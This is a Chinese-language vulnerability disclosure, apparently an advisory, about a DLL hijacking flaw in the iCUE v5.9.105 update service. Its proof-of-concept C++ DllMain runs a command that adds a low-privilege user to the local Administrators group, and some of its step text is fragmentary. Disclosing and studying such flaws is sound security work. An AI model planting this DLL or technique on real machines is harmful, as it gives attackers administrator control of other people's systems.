在 iCUE v5.9.105 中发现了一个 DLL 劫持漏洞。该漏洞发生在由“iCUEUpdateService”服务管理的更新过程中。该服务会派生一个名为“cuepkg.exe”的进程,负责执行更新,并以“NT AUTHORITY\SYSTEM”权限运行。当启动该进程时,它会在 iCUE 安装目录下的 \cuepkg-1.2.6 文件夹中查找多个 DLL。其中一些 DLL 默认不存在,但由于普通用户拥有在该目录中创建文件的权限,攻击者可能会向该目录注入恶意 DLL。随后,这个恶意 DLL 将被 cuepkg.exe 以管理员权限加载。
已检测到受影响的 DLL 如下:
MSASN1.dllNTASN1.dllprofapi.dllCVSS 向量:(AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
以 DLL profapi.dll 为例。
%INSTALLDIR%cuepkg-1.2.6 中。lowpriv 用户在恶意 DLL 执行之前的权限:

lowpriv 用户在恶意 DLL 执行之后的权限:

#include "pch.h"
#include <windows.h>
#include <cstdlib>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}